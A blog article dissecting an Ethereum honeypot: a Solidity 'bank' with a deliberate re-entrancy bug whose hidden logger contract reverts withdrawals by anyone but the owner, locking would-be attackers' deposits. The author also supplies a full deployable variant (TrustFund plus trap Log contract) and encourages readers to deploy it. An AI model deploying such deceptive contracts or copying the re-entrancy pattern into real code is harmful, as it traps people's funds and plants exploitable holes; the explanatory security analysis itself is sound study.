Dissecting an Ethereum Honey Pot
Disclaimer: By the end of this article you will have access to code and know how to deploy a honey pot to the Ethereum network. This is not offered in malice but as education. The motivation being the bad actors already know this information and use it. Making the information freely available gives good actors access to this information in hopes it may be mitigated in the future.
I’ve taken time to compile all known Solidity exploits and hacks into a small manual.
I’ll be releasing each article every week for 21+ weeks. Some examples of what I’ll be covering:
- Re-Entrancy
- Denial of Service — Gas
- Denial of Service — Revert
- Force Ether — selfdestruct
- Force Ether — Predestination
- Storage Allocation Exploit
- Underflow / Overflow
- Re-Entrancy Honey Pot
- Function Call Honey Pot
Earlier this week a post on /r/ethdev /u/CurrencyTycoon shared their attempts at exploiting the re-entrancy bug in what they believed at the time was an insecure contract.
Instead they found that the Ether they sent to the contract in order to obtain a balance was locked. They could not withdraw. See if you spot exploit in this honeypot:
pragma solidity ^0.4.19;contract Private_Bank
{
mapping (address => uint) public balances;
uint public MinDeposit = 1 ether;
Log TransferLog;
function Private_Bank(address _log)
{
TransferLog = Log(_log);
}
function Deposit()
public
payable
{
if(msg.value >= MinDeposit)
{
balances[msg.sender]+=msg.value;
TransferLog.AddMessage(msg.sender,msg.value,"Deposit");
}
}
function CashOut(uint _am)
{
if(_am<=balances[msg.sender])
{
if(msg.sender.call.value(_am)())
{
balances[msg.sender]-=_am;
TransferLog.AddMessage(msg.sender,_am,"CashOut");
}
}
}
function() public payable{}
}contract Log
{
struct Message
{
address Sender;
string Data;
uint Val;
uint Time;
}
Message[] public History;
Message LastMsg;
function AddMessage(address _adr,uint _val,string _data)
public
{
LastMsg.Sender = _adr;
LastMsg.Time = now;
LastMsg.Val = _val;
LastMsg.Data = _data;
History.push(LastMsg);
}
}
It’s really very clever and relies on a few assumptions on the would-be hacker’s part.
The exploit is here:
function Private_Bank(address _log)
{
TransferLog = Log(_log);
}
In the constructor an address is cast to a Log. This is the important part, the Log contract defined in the code is used like an interface for the address. This line of code essentially says “You can call this API at this contract address.”
The assumption is that the provided code is what is run. That’s not true. The contract is free to implement any logic it wants per standard Object Oriented inheritance.
In the Honey Pot’s logger, there is likely a revert or throw when the withdraw is called but the address does not match some allowed value. That is why the re-entrancy attack will successfully execute. However, after the attacker drains the funds, the logger contract code reverts the entire transaction.
BUT! Our would-be attacker has already made their minimum deposit to the contract in order to have some amount to withdraw in the exploit.
So to set this trap the honey pot first deployed the fake logger with the hacker logic. You can view that contract address on Etherscan by looking at the constructor arguments:
-----Decoded View---------------
Found 1 constructor arguments :
Arg [0] : 000000000000000000000000f8681dad1ce4f1f414fb07fc07f81a3a82e91d8f
Ethereum’s word size is 32 bytes. Address are only 20. That makes our address:
f8681dad1ce4f1f414fb07fc07f81a3a82e91d8f
If we take the Honey Pot Logger code and run that through solc we get:
0x6060604052341561000f57600080fd5b6105558061001e6000396000f30060606040526004361061004c576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806310176f8614610051578063da223bc3146100d6575b600080fd5b341561005c57600080fd5b6100d4600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190803590602001908201803590602001908080601f016020809104026020016040519081016040528093929190818152602001838380828437820191505050505050919050506101bb565b005b34156100e157600080fd5b6100e96102ee565b604051808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001838152602001806020018281038252838181546001816001161561010002031660029004815260200191508054600181600116156101000203166002900480156101aa5780601f1061017f576101008083540402835291602001916101aa565b820191906000526020600020905b81548152906001019060200180831161018d57829003601f168201915b505094505050505060405180910390f35b82600160000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508160018001819055508060016002019080519060200190610221929190610325565b506000805480600101828161023691906103a5565b91600052602060002090600302016000600190919091506000820160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168160000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060018201548160010155600282018160020190805460018160011615610100020316600290046102e59291906103d7565b50505050505050565b60018060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169080600101549080600201905083565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f1061036657805160ff1916838001178555610394565b82800160010185558215610394579182015b82811115610393578251825591602001919060010190610378565b5b5090506103a1919061045e565b5090565b8154818355818115116103d2576003028160030283600052602060002091820191016103d19190610483565b5b505050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f10610410578054855561044d565b8280016001018555821561044d57600052602060002091601f016020900482015b8281111561044c578254825591600101919060010190610431565b5b50905061045a919061045e565b5090565b61048091905b8082111561047c576000816000905550600101610464565b5090565b90565b6104de91905b808211156104da57600080820160006101000a81549073ffffffffffffffffffffffffffffffffffffffff021916905560018201600090556002820160006104d191906104e1565b50600301610489565b5090565b90565b50805460018160011615610100020316600290046000825580601f106105075750610526565b601f016020900490600052602060002090810190610525919061045e565b5b505600a165627a7a72305820e47d0804178f0a268a54c2635d934115a42ae3d08eb05045b5ac4bc5fec521100029
Here is the diff check between the bytecode in the Honey Pot and the code that has actually been deployed on the network.
(Left is the bytecode from above, Right is the main network code)
It contains almost three times as much logic. So what else is going on?
Well, to remain innocuous the contract can’t have any management functionality. Right? So the big question is:
How does the Honey Pot owner get their money out?
Simple, they exploit their contract’s re-entrancy bug! But they’ve essentially made themselves the only address allowed to execute that exploit.
It’s an amazing exploit hiding in plain sight. The attacker immediately assumes their victim does not know the re-entrancy exploit but the Honey Pot owner is literally saying “Oh yes I do.” before the would-be hacker first sees the code.
A full working example of this bug with unit tests exists at the following repo:
https://github.com/tenthirtyone/ethereum_better_honey_pot
In my repo I’ve souped it up a bit:
pragma solidity 0.4.19;
contract TrustFund {
address owner;
uint256 public minDeposit;
mapping (address => uint256) balances;
Logger public TrustLog;
function TrustFund(uint256 _minDeposit, address _logger) public payable {
owner = msg.sender;
minDeposit = _minDeposit;
TrustLog = Logger(_logger);
}
function deposit() public payable returns (bool) {
if (msg.value > minDeposit) {
balances[msg.sender]+=msg.value;
TrustLog.LogTransfer(msg.sender,msg.value,"deposit");
} else {
TrustLog.LogTransfer(msg.sender,msg.value,"depositFailed");
}
}
function withdraw(uint256 _amount) public {
if(_amount <= balances[msg.sender]) {
if(msg.sender.call.value(_amount)()) {
balances[msg.sender] -= _amount;
TrustLog.LogTransfer(msg.sender, _amount, "withdraw");
} else {
TrustLog.LogTransfer(msg.sender, _amount, "withdrawFailed");
}
}
}
function checkBalance(address _addr) public view returns (uint256) {
return balances[_addr];
}
}
contract Logger {
struct Message {
address sender;
uint256 amount;
string note;
}
Message[] History;
Message public LastLine;
function LogTransfer(address _sender, uint256 _amount, string _note) {
LastLine.sender = _sender;
LastLine.amount = _amount;
LastLine.note = _note;
History.push(LastLine);
}
}
And here is the trap:
pragma solidity 0.4.19;
contract Log {
address private owner;
address private ethAddress;
struct Message {
address sender;
uint256 amount;
string note;
}
Message[] History;
Message public LastLine;
function Log() {
owner = msg.sender;
ethAddress = msg.sender;
}
function changeEthAddress(address _addr) {
require(msg.sender == owner);
ethAddress = _addr;
}
function LogTransfer(address _sender, uint256 _amount, string _note) {
if (keccak256(_note) == keccak256("withdraw")) {
require(_sender == ethAddress);
}
LastLine.sender = _sender;
LastLine.amount = _amount;
LastLine.note = _note;
History.push(LastLine);
}
}
Functionally, it appears to work identical to the Honey Pot code. You can interact with the TrustFund contract and view the history log even.
I’ve even added a whitelist address for withdrawals because, hey, let’s get our friends in on this! If everyone is depositing and it looks like an active contract it’s likely to attract even more attention from thebad guys!
Go forth and catch some newbie hackers. Return their Ether after you’ve tasked them with cryptographically verifiable charitable giving with I Gave